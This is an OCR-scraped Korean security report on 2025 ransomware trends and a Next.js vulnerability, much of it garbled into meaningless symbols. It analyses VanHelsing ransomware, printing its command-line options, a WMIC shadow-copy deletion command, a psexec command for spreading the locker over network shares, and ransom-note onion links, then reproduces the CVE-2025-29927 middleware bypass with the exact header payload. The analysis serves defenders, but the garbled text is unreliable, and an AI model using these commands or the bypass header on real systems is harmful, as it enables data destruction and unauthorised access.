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] -> 231 218 22 Moonstone Sleet, Qilin 21490 HYZ A& gk

Moonstone Sleet2 AHA| A& 2842|0121 FakePenny 28-42|0{E BIZSH 0|240| Ql= OF

(Q 259 28 ZEE Qilin MU S BHES2| AR

’ -> Mamona 2HA19)|0] AH|A. DragonForce 120 2|54 52!

Mamona= Blacklock@2 22{Zl 1E0| {2 273 2HAIQ| o] AH|A
0|58 Bor A o2 Qlof| 2|4t mofA] 2 mjdo| =2

Mamona2| Ct3 ¢l 32 AIO|E= DragonForced| 2|al sfZ 32, BlackLock DLS= H|&H43}

oh
W

LOOPO

2 O|F 9 23 &, BlackLock DLS S+

’ -> A4t Vanhelsing & OIEH 23

2AI0t 32 2 Ramp X0 M Raas THEH S 2&5h= 2 A Al

y
=
W
N
2
2
ot
I
2
o
M
i
o
o
2
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3 -> 417 NightSpire 118, 3L @4 282 X2 24 32

() 3Yo|gh 15219 WSS HA|HOD], 1 Z0fl= 2L S4 2012 X2 x| B
() ME o2 HHolM 225 Setote| the 1312 S4

() ClOIE] S} 715t0] 2|t S0 F O O|E| ZIHE|R] 042 AEY

] -> Mimic 2H44¢J0{ v.10 YC|0|E 27H

RAMP Z8S S5)H YE(0/E LS 374 U ey @3 A2t

OO

’ -> Al 2HM2l|lo] Oxthief, skira, Crazyhunter 18 S%

Oxtheif &, TlaHAH 1A 7IAl = 32 S&2E H|2Hgst

Skira &, TJ5HA} 52 HA| = 33 HEE H[2d5}

OO0

Crazyhunter &, THAF 10 HA| & 421 2E] H| &5}

J

U]
—
=
0x
d°
2
on
0%t
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New ransomware & group

iic ot | arsomunre| ceo s ot vl i)
D o (D O

SafePay

st (D New ransomware variant
ocker Proton
RansomHub @ 87
.M142HIMARS .pizdec .data3
Babuk Beast
Qilin m 49 .endpoint (ELDER

HE 25% 189 | us 70
) S @
o

a2l 2.2025'd 3 & #Meof 9y sig
M2 9d
Holl= 7|E HH90 09 UHI0|E AAME HoIFon Cio Mg MY OF0| LAMCE &
6 7Ho| Al Mol 120 =olgiol 1 & 3 Jie] I Oxthief, Skira, CrazyHunter = 4 ¥g
7|=02 ¥ FZ0| 27t MEHOICE Oxtheif 1E1t Skira 259 AR 3 & = SZ 22t 1 A,
5 9| m[sfXE PZEROLE 3 EEE CI3Y )= AO|EJL H[2HMEs $HOM, CrazyHunter 2 ZHL

4 Eof| Ct3E }RE AO|ETL HIZ2dst Ot

DragonForce - work

It is not good...

oot:/root:/bin/bash
bin:/sbin/nologin
emon: /sbin:/sbin/nologin
var/adm: /sbin/nologin
r/spool/lpd:/sbin/nologin
ync:/shin:/bin/sync
:@:shutdown:/sbin: /sbin/shutdown
:@:halt:/sbin:/sbin/halt
fvar/spool/mail:/sbin/nologin
operator:x: :operator: /root:/sbin/nologin
games:x:12:180:games : /usr/games:/sbin/nolegin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody 65534 :65534 :Kernel Overflow User:/:/sbin/nolegin

:System message bus:/:/sbin/nologin

132l 3. DragonForce 0f| 2J8H s{ZEl Mamona CI3 RF AO|E
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BlackLock 2 2%dt= 3E0| 374t Mamona 2h= Al AL AMH|AS| Hot MFo| O0|55H0
Mamona ZZ|Xt H0|X|l= 2 2| 20| ==HCL Aot siZ EZO|N iy ol#7t SR=0 XH
FXE0| MH|AO REOZE MIGHALE HIO|HE XY £ JJUCH, BlackLock 2 RE AOIEE=
H|gM3l =10 DragonForce 1&0| Mamona 2| LAY |& AO|EE WIS ACLE 2 2 = F
Ma

BlackLock 2 H|gdstEl CH3E RF AO|EE S7}CH, Mamona = O 0y 2FEX| 940 UL

Ok

A0} 3ilF ZEEO|M XHiSo| YA MHIAS BES= M7 2AEX 170 =HIHL Vanhelsing 282
32 = A0} oY EFO|M XSS RaaS? £ O|€Y LIEUHE ZEEGHY| AIRYQH, EARIX| 3 F2H0

=
4 e EAES FIMUCL £ 0|S2 o E2 8 Bl LBAtE AL

Today, more and more information is stored on digital media.
Companies that store sensitive information on their servers must take security seriously.
Our mission is to show the world how important it is to keep data secure.

We invite access brokers, interested parties, and disgruntled company employees to cooperate.
Together we can become stronger and richer.

We know how to make our cooperation profitable and safe

« Penetration testers.
+ Access adverts.

J2! 4. Mimicv.10 EE2

N

2 d 6 HRH g5tt AR AT Mimic HEK{7F viI10 HES ZSAMCH, 2{A|0F siZ ZHO|A
el Y X7 HE NIV M2 Hot Zdn HYXE ZESD UCE 0|S0| MBSt #Mol=
Windows, ESXi®* ,NAS* [FreeBSD® ot &2 Lot RIAHE X|eCt MY HMSELE Ot}
IIsHXIOIA| g8 MotE St= MH|ALE, 21E Zgjo| st &

el 2F0IX|2, B HIo[E |E AOIEE 2FoHA| 81 Iz ddS 9t e mofx|2t
25t 280 2 7 ZA

= 2 Ct. JRansomware 2} Ailock 50| O|of sHSICt O|F2 HMLE xHE
ZFAQL 210l0f TR MM IDE M8 2 mshkt E= xHE! H|O|X|E

2 Raa$ (Ransomware-as-a-Service): MY OIS Mu|A HEHZ H|SohA FTLE 2A| S UHED ZHE 4+ ULE ot= HIEL|A I

SESXi: VMware Ol 7ol SAE ZFEO|A Cieo 2MME SAl0] HHAZ = A= UNIX 7|8te] =2 ZHE

“NAS: HE/IE Sdll 2 4 A= Ci4o MEFA7L dEE 2E2(X

5 FreeBSD: f4A AHHo 2= AA 2HAK|
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Top5 M0

=2
=]
£

Babuk-Bjorka RansomHub

Babuk-Bjorka

Babuk-Bjorka 1§2 XHIS0| Babuk22tll F=&sH= IECE 1 2RE #SS AAICE 0|52 3 Hoj|gt
M3 A9 ISXIE AHASHH 7ta B2 252 ERedl, Co IsiAt7t 2HA RansomHub, Meow,
Everest, Babuk, Funksec, LockBit & CIFE J&0i 2|3 HIO|E{7F S7HEl 0|240] =HQIFACE. w2t 0|S0]
HMZ siE 7|2 36 CIoHE EFe ZQIX|, oi|H o|o| ZJHE CIoIHE ™8| =Zus
275t AKX XIHE ERIt UCL

RansomHub 152 ZUF|O|A[OQ] AMX|L|HZ! AMH|A T7|YH HexcoSys Group 2 3ZsH AAA, HAZI
AA FE HME Y Clo|E{7t ZetEl 336GB HIOIHE EF UL ot U2l XSkt 2F =X A
Japan Rebuilt £ 3ZsH Mit CojEet HF FHE, ZX MF Arg, 12 7|=0| EXgE 200GB 2
CIOIHE /=L

Akira 182 3ol golofle] At 1A H| M| CSPlastics & S ZAt EINM, T HIAet Z2
THE E1|0|E19f A 9 A9 JfelMETE EehEl nitet HlO|HE |&ERUCL ot X Zol= HAUS
0|83HM EDR &£FH9| EXIE 25tz & MER2 34 T M%ﬁff Eﬁi glolghict, Akira 1E9|

ACE.

. Moonstone

Qilin 3§0| %2 =3tol ¢ _'—E— Moonstone Sleet 1} EEFOI Ae ZoZE 8i5XIC
|= 2,253 2 &

1
Sleet ©| ZS O|Xoll XHH| HIZISt FakePenny SHAIRIOIS HHES 0[2{0] Q= 913 12
e Qilin 290 HO|ZES HHESH Fo| HoIgiCt

|0
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https://www.skshieldus.com/download/files/download.do?o_fname=KARA%20%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4%20%EB%8F%99%ED%96%A5%20%EB%B3%B4%EA%B3%A0%EC%84%9C%202024.4Q.pdf&r_fname=20250226153157563.pdf

=2 =22 1—

SafePay JF2 3 E 30 o2t 31 JHe| D[SHAIE LEHZ AARILE. I=29| sto] 20| 2xHe|

53 Sir Willian Ramsay School = 0| 3ZO=Z 183GB 0| Edt= H|O|E{7t KEECH, SF9|
44 Alef ¥A| Brighton Australia = T ME, 2[A 7|5, QA & 024 mido| ZEehEl 160GB H|O|E{7}
KECE
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W s0] IF EHA

‘VH VanHelsing

attorneykohm.com
8D 16H 42M 325
the Dallas Fort Worth AreaThe Law

provided expert legal representation to the
ort Worth for over

Offices of David Kohm have
people of Arlington and Dalla: ars. Our entire |
vely represent our clier
satisfied until you are made

whole.When it comes to your financia

www.medsrx.com

In a world where technology mak
rience is still hard. Waiting in line is
medication

ist when needed. Wi S pharmacy
used to needed to be changed, Yesterday! MEDS has been

togethard to f

are expensil speak to

Studiocdlvallone.it
EXPIRED

We put commitment, ity, p: rk every day,
with a single important goal: to be satis’
day with the challenges that our profi
each of us led upon to make our qualities and skills available to the
group. E

bed by the group, s:

sion, optimism into out
, to learn something new every
offers us. We love teamwork and

the limits of f us, are enhanced and

www.atos-racks.com
EXPIRED

nd manufactures in France encl

the electronii y boxes, racks, fine and precision

nblies, 19" inds uti standard, adaptation of

the standard, specific, or production to drawings, up to the integratio
mblies.ATOS serves the Energy, Telecommunicatio

IT and Transport markets,

metal a

compumedics.com.au AND
neuromedicalsupplies.com
4D 13H 49M 258

A global leader in the development, manufacture and commercialisation of
or the sleep, brain and ultrasoni od-fl
monitoring applications.Compumedics Limited (ASX: CMP) is a medical
dev ed in the development, manuf: and
tics technology for the brain and

ultrasonic blood-flow monitoring applications. The C

www.cityofbellville.com

tin County, Texas, in the
3,794 at the 2000

ne of Stephen F. Austin's

ew county seat

Bellville is a city in and th
southeastern part of the s
census. Bellville was named for Thomas B. B

tte. The population w

at wi d in San

Vanhelsing 252 3 & 7 & S&tt #HHo] JECE 2Aof s EZQI RAMP IZZO|AM AISAL
DEES AIZACE 0|2 OFT HWEO| U= AFRE Eo| 71 HI8S X gfel, O 2(o= 5,000
EE{(etet oF 730 THY)Of sHSte EEaS2 XISsHoF 7te = U= YEHOICh ZE ZHI0| MEH
0|52 CIS Z7tof| thet SAHS XI5t A2n, EFo el 20%0 =52 271510 UC

Mar

MNew major update

1 - esxi locker updated ( better encryption

and faster )

2 - Linux locker updated ( now support x86,x64,armx86,armx64,archo4)

- Nas supported

4 - windows locker major update now we offer only loader the locker is encrypted inside the loader and the only way to run the locker i

saved in guide text file

5 - notification em added ( news , fags

Mar

MNew Update:

Added support of very old esxi versions to the esxi locker

12l 7. Vanhelsing 7|5 HI0|E

use the password
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EA| X7|2E 0|Z2 Windows, Linux, BSD®, ARM’ , ESXi & Egot CIet EHZS UMCE ARE
g Z 2%t AlAet HH0IE Wl 23, Linux 2 ESXi 2| 2% O Cefet

3
AN
HZ D O [HIME SAY = AQM, NAS EDH 34 X3 CHE0l| F=7HICE

SIWIIK|= vanhelsing, vanlocker 2H= &3} SHEIAIE AFR3SH= Windows HEQ| 2HAQ)o{at SHoIsiCt
SOIEl & HTOl Mol &F 5 & 7ZHHo= HEERHCH, 24 HEME= 7|E0 iE WS HERX3
Mot 7|s0| 2=7tsict o] Qo= OoFEl! 7|50 ?LEEIXIE QItX|at vCenter® FItQt ZAHEl Ol

sfolict. Agelo] 7150| HE £z YHO|EERD /UAS E£2F OfL[2L, /o] 220 =H &= O
o
<)

CHSE SES HHCZ o 34k JisY A= HQItt oo w2t Ci7tE ol chelsts| 2ok
SUHO=Z Windows HZT M ofof Chet 24 LIS A= 0Xt oiCt

©BSD: UC HZZ|0|M st fA AE 2IHH|
7 ARM: EHIZ 7|7, loT FH| S0l 2 AIBE= M Uag ZZAMA o7 =X

8 vCenter: VMware Of| A JHts B9 ZEA| 22|H RE2|E|Z {2 ESXi TAE 9l B4 QA4S #2(oh7| 2ld Alg
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Vanhelsing Ransomware

| gests
057 |

orost w4y

1

h ChaCha20-Poly1305 A
ﬁ i |
File Encrypted
T—‘ File

ChaCha20 Key

Vanhelsing
Public key

RtiGenRandom Curve25519 el Vi3] Curve25519
. hered eoet Key

XSalsa20-Poly130:

-

[ 1GB of3}: M3y e
1GB &3} M| 37|2] 30%06t %53}

2 - go to one of these links above

http/ fvanhelqmistihriwzgjzpad22ikubwlggizSySrirmdeiaj ljaid.onien

3 - you will be asked for your ticket id to enter the chat this for you : TICKET ID

usefull links ;

#0UR TOR BLOG :
http:/fvanhehuucdkIxsigh26zkqupbkobe 2abry SwowxgysibmgsSyjhdugd..onion
http:/fvanhehwmbf2bwrw?gmseg3bggmdekcSuuhgbsewdeihzcahyq7sukzad.onion
http:/fvanhelgos2qrike mtjayqqreodkuh36nTug Tq7g23ggotyr 3y T 2yd.onion

-
Pt Eo _._‘?I'_l
B4 okg 3 HHod }‘I"E q;“ LHu qu_ HEH3 37 £
T o _d = T - nlﬁl‘
(=]
=
L = o o}
—~
[+] =
ChaCha20/Xsalsa20 D2 A H}EFS}H U Ofo|2
=] S (=]
A5} deg ¥ Ha
-
-
{3 README bt - Windows I 2LEH
TRE BEE Mo 27V SREH
-= Mo news is a good news ! =--
Your network has been breached and all your files Personal data, financial reperts and important documents has been stolen , encrypted
if you willing to continue your bussines and make more money and keep bussines secret safe you need to restore your files first, And to r
don't bother your self and wast your time or make it more harder on your bussines , we developed a locker that can't be decrypted using
making your self geek and trying to restore the files with third part decrypter this will leads to lose all your date ! and then the even you
to chat with us :
e”-‘"!: E 1 - Download ter browser https:/fwww.torproject.org/download)

http:/fvanhelcbxqtdtgiebfueving2bsdtxge Tasle2yo Tnitaacdfripxngd.onion

httpyffvanhelsokskrlaacilyfmtugqashaikubsjackwd7{3pt3ucivhbegad.onion
httpifivanheltarnbfihuvggbneniapSedscnzzSyfeyimxgivgmb5sr2gmilad.onion

2 ShAF
HE 3z

. README.ixt

=)

.vanhelsing, .vanlocker

-

.ZF o,
)M{ C/C++

12! 8. Vanhelsing 214¢]0] 7HQ

[ ChaCha20-Poly1305 222|502 ¢&3IE 312, | 7|2 Curve25519 B2 H|UZ ¥&
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Vanhelsing zHA9|0] T2k

Execution

Windows 33 ZEEEES S5 5y Ny E Discovery
N— 9 eze cools 25 g
Lateral Movement = E A HEYA 2H 0 B

=4
e e sneum

=i Clloje| 2Es

32l 9. Vanhelsing 3490 37 T2t

0
tot
ot
&
0%
o
I~
Iy
>
fjo
mz

g+ ACH, HiEeH
R A o+ Q0L Cf2 Lol 2HFs =2
[<] SLAPN

FESHR| G74LE 7150] FRElX| 2 FRE UL

=
HZO|Lt e FAE AHet 22 7|59 Mg
HIAIX|QE &R QIXf7F L2, YR QIXt= =thelht
X =elsks lktet 7Is2 of Z

-
H
o
m-r
n

oIxt e
-h Al oIX} =22 =
-V 21 =9
--skipshadow HHQ] SARE AfH| AH=f
--Driver <driver> XI’get E2to|H Tt Aot
--Directory <directory> Xget E2HTE A=}
--File <file> X|get mUTt st
--Force Yol 35 AH 58
--no-priority HHAO] LU HY def
--no-wallpaper HIEIDIH HZE dek
--no-local 2 0 Aot e
--no-mounted n™E 24 E2to|Ent At
--no-network HEY3 37 EO =%t M=t
--spread-smb e HES3 Hot
--no-logs 21 0=
--no-admin 22X} Hot o Aztgio] A
--Silent DE Y oY Asst = &R J2 Het
--system 7|s o|7ted
--no-autostart 7|s o|7ted
--spread-vcenter 7|s o|7ted

H 1. Vanhelsing #gjlo] A3 ©

— 0 [

=
2
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2l QAXIE el Ol Yot & 2F LXE Q6 R 7HX| HYS ™SIt HIEHH, Of0|2 HED
HERZ 3% B0 T2 & Xt oto] R 7 ASEE, oidff 22X}t Astez A FUX|
sfolptt, rop 2|Xr AHSIOZ MM FOIX| o™ MHEYOE BRSHXIT “--no-admin” AXE
ARESHH 2[R} Asto| QitiEt: MMAUHE SZOHA| fh=Ch ot M0t %EOE dde=E AS
#X[8t7| QI8 “Golbal\VanHelsing” SXtEZ SEIA 9 £ MMslD Aot &2 £0|7| sl 2HA0f
DTEMAS MEQE 71 =2 RMzf=2 dFolct o] & 7|52 22 “--Force”, "--no-priority”

QX2 H|Edet7t JHS3ILt.

ot ASotEl OIAS AFXIE Qo2 S75HK| Rot=s M
skipshadow” QIXIE AtEstH i ZAMEES AMA|SHK| Q=L
HHO= Of2iet &t

o SAES AfFetch ORIEXZ t--
HHOA
—-d

SAREE AMAEGE] floh AEdtE

cmd.exe /c C:\Windows\\System32\\wbem\WMIC.exe shadowcopy where "ID="'%s" delete

H 2. il AR AW HHo]
"--spread-smb” QIXIE AIESIH WE YHERIZE MOt J7tsoich LR HER3IN HEE PC Lt

MEoM MO E MBI 2 psexec™ & ATt o =2 MY 00| 27H MEE A7
mi=2oll, sie Z=aMS AN ZCof| XMEst = St

=20 -

etwork_list = WSAStartup sub 48CA98(pMemoryBlock: pMemoryBlock 1);
ae*Te1pPafh (nBufferLength: @x1F4u,

tem _.:.___..,J;'
m_format_string sub 4BDSQB(HL--". a th, Format: L™¥s\\psexec.exe™, temp_path};

m prlnt_message sub_4811D8(L"[ : %s \n"); a
memset{buf: stream, walue: BxBBu),
m_wfsopen_sub_48BB38(bu e ath, n48: ex3e, » Buffer: psexec_path);// open ¥TEMP¥psexec.exe stream

m_write stream sub_48BD58(tl &psexec data) BxAEDIBiGS) ;

10. psexec X%

° REIA (Mutex): SHLIQ| ZFaI0f Of2] A2E B2 TEMATL SA0] FZGHK| RSIEE stz 5718 OIAHLIZQE, #dooM= =3 5= 4
YRS QI8 AtSict

0 psexec: Windows A|AHIOM ETZMAS AHOZ Zt2|stn AMEls 4~ QIEZE ot HHEE =7
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Aot 0|=0ll= SIxl A7t AHFQl A|ARICl P FAE JHEH2 0|F, OiX|2H SEI ™ of
sitst= 22 1 2B 255 kK| HZSHH F20| 7ttt iR WES3IF EXst=X| &elstct. B2 7tsst
L2 HEI FAIF Sel=H siy A HEYI M I MJ| S| U=
“vanlocker.exe"” Zh= O|EQZ EZEAISHH, psexec £ &2 R UESRIN HZEE PC LI MHo|
HMAHE MBIt O] wf M3 QIXIZ “--no-mounted”, “--no-network"E AF2SHH, AI2st= AW
HHO= of2liet ZCt.

00

cmd.exe /c $TEMP%psexec.exe -accepteula \${shared_folder} -c -f
${shared_folder}\vanlocker.exe -d --no-mounted --no-network < NUL

E 3. R o gdo
LHE HERZ Fo oz K2{7tA] dd QXIS SoiM o oot cid HFHO| JtsdtH 3| o,

Z0, 22 ce2iolE, HERZ 38 EGHE FEEICH "--File” CXE AMESHH X|HSH 1 7{e| mpot
AS3}5IH, “--Directory” QXIE AESHH X|HoH EC2t 1O 619 EHE Y=2tstil, “--Driver” QXIS
AtESHH X|H3H E20|H HME Y=otsict, Tref ioalet 2 El M3 QIXIE ORAE ARSI YoM

DE cotolet HIERSE 39 ECE ¥=slsty, “--no-network” QIXIE AMBH HIERZ 3% EC
ASSE H[EMHS SI7Lt “--no-local” QUXIE AIBSH 2Z IIY AT3E MY £ JUCH, “--no-
Hof
I_

mounted” 2IXE AtE UHE 2Z E20|ER Yooldts AT JHSOICE

AN 1 — =
12{7} ofle] e=QlX| =elst, ClEZ| =helo] ERCHE Zb CIHE=|of ZXisk= Do o2l

oot Cids TR, Z CIEEZE =26 oe <=0 digot=x| =elsitt, UHe= iy
2E
S=QIX| =QISCE &olsh= A3} 0|2 Chat2 otz Eeh Tt

"
—
2
1o

R U Ty

.vanlocker, .exe, .dll, .Ink, .sys, .msi, .bat, .bin,
.com, .cmd, .386, .adyv, .ani, .cab, .ico, .bod,
.msstyles, .msu, .nomedia, .ps1, .rtp, .syss, .prf,
.deskthemepack, .cur, .cpl, .diagcab, .diagcfg,
dll, .drv, .hip, .pdb, .hta, .key, .lock, .Idf, .icns,
.ics, .idx, .mod, .mpa, .msc, .msp, .nls, .rom, .scr, .sh

tmp, winnt, temp, thumb, $Recycle.Bin,
$RECYCLE.BIN, System Volume Information, Boot,
Windows, Trend Micro, program files, program
files(x86), tor browser, windows, -
. s,. spl, .theme, .themepack, .wpx, boot.ini,
intel, all users, msocache, perflogs, . . .
. autorun.inf, bootfont.bin, bootsect.bak, desktop.ini,
default, microsoft .
iconcache.db, ntldr, ntuser.dat, ntuser.dat.log,
ntuser.ini, thumbs.db, GDIPFONTCACHEV1.DAT,

d3d9caps.dat, LOGS.txt, .README.txt
H 4. 3=3} o] cHa

" SEl: 32HIEZ O|ROT IP FA0iM 8HIEY 3 HHO}

rr

gl
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Protected Key (326Bytes) Protected Key (326Bytes)

- Poly1 305 MAC (166Bytes)

‘p Poly1305 MAC (16Bytes) .
24 Tl , . :
Paly1305 MAC (16Bytes) ZAF Il
e oy (& 37|2] 70%)

=2 ot (168 0]8H

L= ot ot(168 ZE1h)

J8 1. 37| 8 oY s} 4

ol 2tssh= 1GB 0lste] ML FMAH|E A=sistn, 1GB ELt 2 MU MA| 37|29 30%0 A5s}sict,
Zb oot 2HEHSE 32bytes 712+ 12bytes nonce € THE11, ChaCha20-Poly1305 €112|E2 ArEsH

c

oUs oot Y=sh= IMB HHRIZ ZI#SHH, ChaCha20-Poly1305 2o S44 CIojE RAME
o

E IZE(MAC)ZH g ddElEz, dwotEl o= TMB IOt 16bytes 2|
MAC 0| &Hl MZEEICt.

User Vanhelsing
Curve25519 blakezb Curve25519
/l
—’,/
T == -
Curve25519 : Curve25519
I
. |
) JIES [ oo - 7127
’a “Xsalsa20-poly1305 SFHEC i STHEF YSalsa20-polyi305 " ’5
t nonce | 1
L J
S HEC=3FHEF
812, 7] B3 W4
ot Azolof| A2E 7|12 26 mpel M ol MAESH=CI, O] I Curve25519 £ SdiM Mdst 37
U2 w3t 7lot nonce B HEm IS =R £ U= BN IS EH MISHs WAIS
ArZeitt md Azet 7ot EIHE 2Zb miofct HEeh JHRIF|E St Mot g, StERYE

Vanhelsing 2| 37H7|1E A3 3R HIZS MY = UCE XHAQ| JHRIF et ATHEre| FIH7|2 THE
HIZO| Xtale] F7i7|e Moigtel Jiel7|= = 3/ HIZED St 42 JHXl= Curve25519 o E4
0|2%t Zio|Ct. 7| EZ0l= XSalsa20-Poly1305 21Z|ES AMEst=Ol, g 2|52 7| 2oz
nonce 2 A% £7} H|0|E{7} ER3BICE nonce = AF2XIC| 3717|2 Vanhelsing o 2717|E 0|0 £¢l
Lt blake2b LNE|Z2Z 12bytes 37|9| SHAIS AMsl| ALTICE

> 0|-J
mo 4o
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___key___
cheb?d1333729859ba427cblb0?8386?f673ca5f462b249c48033543319?92l|
842a830104cd4215cc4f3f480753cabd705ce3cacTcfecf4deibid58£1305d3ed78d945cT7c0be08430634bF461e146c1]

———endkey———

———nonce——-
:DSab28c4cal493fDSlelSef9?3a?b2EGCBdETESSDB444b4d05a2d44l2ffb6?4d

alaf0f662fces673badcd5£59886de4274%ec07acef392F19cTadbac
—--endnoncs———
| Public key 1
| | Protected Encryption key
|| Public key 2
Protected Encryption Nonce

H7let Bl Qe ol ol MAE HelZ MEEICE ---key-—-, -

|2} nonceE FEoHH, S7H7|2t E2E 7|18 &=XHC = XMETITL.

 O|=0fl= ZHM<U0{0l XMEHE O[0[X|2t Ot0|2 miUZ HiEIHIt ASSHE MUl Of0|2E H
ZotCt. HiZSPHE “vhlocker.png”"2 X &E|H, O0|2 O0|O|X|= "vhlockerico"2 XZELCE --no-

wallpaper” QXS AHESHH HiZFetHDt OFO|Z O[0|X| tHE2 H=koict.
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Vanhelsing #A¢ljo] cHSutot

Execution

>

wvy

-

e

J

s

-

olm

| rol

12

ox

o

o

2

ra
ED

Discovery

EDR 54 S3 oy 8ol ot
[~

Lateral Movement

gEesuElI 2 A | Impact
YEYI 2% Scioll 2| A o] | S
3 3|so'f E’_ﬁ: BYSE S8 oy B HE
|~ o

2l 15. Vanhelsing 21A¢ljo] CHS4tot

Vanhelsing ##90{= Windows Ed DTELEES &84l W SALE AMHQL LR HIE <
MMt W2t ASR™ 2] ZH3oE SollM HIEMEQ TR2MAE KiTh oM %‘%’—I% o}
st Moo MEE Z=2

2r|6t7| 20| Anti-Virus & &238t0] oAl

J n
I}
o
<}
>

U FTi EYT 3R BC YSSE SIHM A ALY LR UEYS tiue EptD, 2ol
JHs3 UIEYD FA B Briol HD2 AISSCh ®Ot OLZ IY sl PP BE Calo|=s
SAsH 5 A oIXlol| iz Yeter Sefo|dE PESHd|, EDR 2243 Sof BAXIS o4y #IIS
22 4 QU

S Ui HOts Aol MY| A0 Y= TR BLiol A 5| Aol G20, WEo| H2 Hstol

50 IR

OICHE LHS FIOp Afgto] Jhsdich wahd YEYS 29 B0 MZ Hste 34ftoz Hofsle AT
SiLtel whHolch, 1 Qo HIEYA 2 ECie 2 HEYD MHlAT} TRSIK| QCHH, MHlA XHHIS

Higtdet St7L SMB EE(445)8 XICHo LSS Z|A2f3{0F STt

—

[vay

UBHE MUS ABAL YOIR Huots S WG| s AAHO| Exsts DE WY =A=S
ARSH 5 TS TBBICE ASR A BASE SoiM we =AES ANt DAAe NjYUg
U= HS AT 4 QCh EOH ORLIZL WYl HAHES WTO| WEILE KEAN| A Histo]
AAH0| YssiEiciats HRg & UTE IAoF Bict

[}

2 ASR (Attack Surface Reduction): 2AXIT} AFR8= EX DZM|AQ} Mgl Jt53t TRHAS KL= ES J|s
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loCs

Hash(SHA-256)

86d812544f8e250f1b52a4372aaab87565928d364471d115d669a8cc7ec50e17

99959¢5141f62d4fbb60efdc05260b6€956651963d29¢36845f435815062fd98
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H i1 AO|E
- BleepingComputer (https://www.bleepingcomputer.com/news/security/microsoft-north-korean-hackers-
now-deploying-qilin-ransomware/)

 Cyber Daily (https://www.cyberdaily.au/security/11919-exclusive-contractor-brighton-australia-listed-on-

safepay-s-ransomware-leak-site)

« S-rm (https://www.s-rminform.com/latest-thinking/camera-off-akira-deploys-ransomware-via-webcam)

- BleepingComputer (https://www.bleepingcomputer.com/news/security/ransomware-gang-encrypted-

network-from-a-webcam-to-bypass-edr/)

+ Trend Micro (https://www.trendmicro.com/en_us/research/25/c/socgholishs-intrusion-techniques-

facilitate-distribution-of-rans.html)
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Research & Technique

JSONPath-Plus RCE #|2&(CVE-2025-1302)

HAME

Nextjs = AH AO|= BEZ(SSR)' 2t HH & mo|X|] H&(SSG)? & XI&sH= Node.js 7|He| 2E
an @ o3t ® MANCE de| MERl= XHIAIEE =2t0|E2{2[Ql React £ 34 EA0IAM
HESh= SNl T SHLtE Nextjs & 2705t UL

OSINT &M ATIS Sl 2AE{Llol| S7HE Nextjs AFE dgsE ZAret 23,2025 48 1 7
HAOL =Y S 2 =7t & 4422 I AO|EO|AM Next.js 7t AFBE|L U= ALZ ZQI=[RUCt.

[
AOf
T L

ZX: fofa.info

12l 1, Next.js AF2 7

et CIO[EE diAf3l

of

T Mt AtO|= RILR (Server Side Rendering): AHollA 2E CIO|HE Z4sto] S2I0|HER F&, S20|HEE:
YAO|EE HA|SH= ¢ EAI ity

2 ™ ¢ mMo|X| M4 (Static Site Generation): HO|X] HTML & 0|2| Y& EtYol| MAsto] 2t QEOICH XHALESH= HiH
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2025 H 3 & 21 Y, Next.js o middleware® 22| F2A4®™(CVE-2025-29927)0| SIHSLCE O] FAHS
Ed s a2 0|83 middleware 7} 0|0 HHEU=X| HEE =QISH= Nextjs 2 UE =2XZ
ot2etoZN HHHSICE FAXE of ZH2 E=Z middleware E 3 4 JACMH, F HAt
middleware € Sd &[0 JUAS F2, 0| @ I*H X|SHEl 111|0|X|01| H20| 7tSSICt Nextjs =
ZHLASHA AFBE= ¥ ZU¥3l oHE, SiE FUTo| =EE[0 JY=X| YHEA| M6 oF Bt

Ir

B 33 ALE|R

m
JE

F

@ HLF TS| Nextjs A8

(@ CVE-2025-29927 @ AFEX B Hoj R B2

@ MEX YUY 2 K RE

a3 2. CVE-2025-29927 2 ALi2|R

@ 3AX= FAT HHO| NextjsE A8t MHE EM

® 0O|F CVE-2025-29927 S 0|83t 21T 23| Ak

® E 30 43¢ SAHX= LAt AHEXt 22| Ho|X|of 2

@ AEXF 22| HofX|of H2et SHK= thEel JHIEEE FE-EFGIH 2R2 |E

|
(1)1
oot
ne
rir
k>
|H
Im
g
2
T
ra

CVE-2025-29927 0| #F|efot AT EQ|{ HM™2 Ct3at 2Lt
o \is230
v14.2.25 Ot
Next.js v13.5.9 02
v12.3.5 OJ2t
v11 BT FA|

® OIS0l (middleware): 281t & F7|0M S0{2= 2%0| EEBl7| Mol X2(stn SOl MEET| Mol X2[sh= 7iE
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HAE 2tdS F&510 CVE-2025-29927 2| & WEE Am{ELCt.

0|E sl
Next.js v15.1.7
|sHxt
(192.168.0.3)
Kali Linux
SAx

(192.168.216.133)

B 3oHd HAE
Step 1. &4 74
Ok} PC Ol Nextjs v15.1.7 &2S HX[5t, F[AH oIS fIet HAE =232 LI XhMlet 7o
HH2 of2ll GitHub KA 2ol 7HsS3ICt.
« URL: https://github.com/EQSTLab/CVE-2025-29927

# GitHub XMZ&A ZE

git clone https://github.com/EQSTLab/CVE-2025-29927

# Clg=2) ojs = T3 ojojx] L= ol MY
cd next15

docker build -t nextjs .

docker run -p 3000:3000 --rm -it nextjs

a 192.168.0.3:3000

<« c 2 Notsecure

I\E x T Jg Bypass vulnerability

. Exploit by injecting Header: x-middle-subrequest .

. Send request and and try accessing the admin page.
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https://github.com/EQSTLab/CVE-2025-29927

Step 2. #24H HAE

zZ
[0)
=
‘6.
R
T
rir
~
Q
o
3
o)
2
[n
H
ro
Im
2
_i|_|:
ot
ro
ol
=l
£
rr
12l
ru
o
>t
m

SIS A= QUL
= 4 192.168.0.3:3000/admin x  +

C @ O D 192.168.0.3 ® ® 9

Kali Linux # Kali Tools ¢ Kali Docs KaliForums ¢ Kali NetHunter Exploit-DB Google Hacking DB OffSec

2! 4. /admin HIEXOIE M KjCt

SEX|2F, CHEa 22 HEHE 2F0 =715HH middleware 215 EX(7F 2| EC,.

x-middleware-subrequest: middleware: middleware: middleware: middleware: middleware

Of &H7t ZetEl RES TESHH

H20| FHSBHTIC.

, middleware 7} 0|0] A=l Zi0Z HM2Z|Z|0{ /admin A=EIEQ

m @ Target: http://192.168.0.3:3000 /¥  HTTPA
1] E |
Request
Raw Hex =

1 GET Jfadmin HTTP/1.1
2 Host: 192.168,0.3:3000

3 User-Agent: Mozilla/S5.0 (¥11: Linux x86& &4) AppleWebKit/537.35 (KHTML, like Gecko)
Chrome/134.0.0.0 Safari/537.36

Alx-middleware-subrequest: middleware:middleware:middleware:middleware : middleware|

@ {é} Py N cearch o 0 highlights
Response

Pretty Raw Hex Render

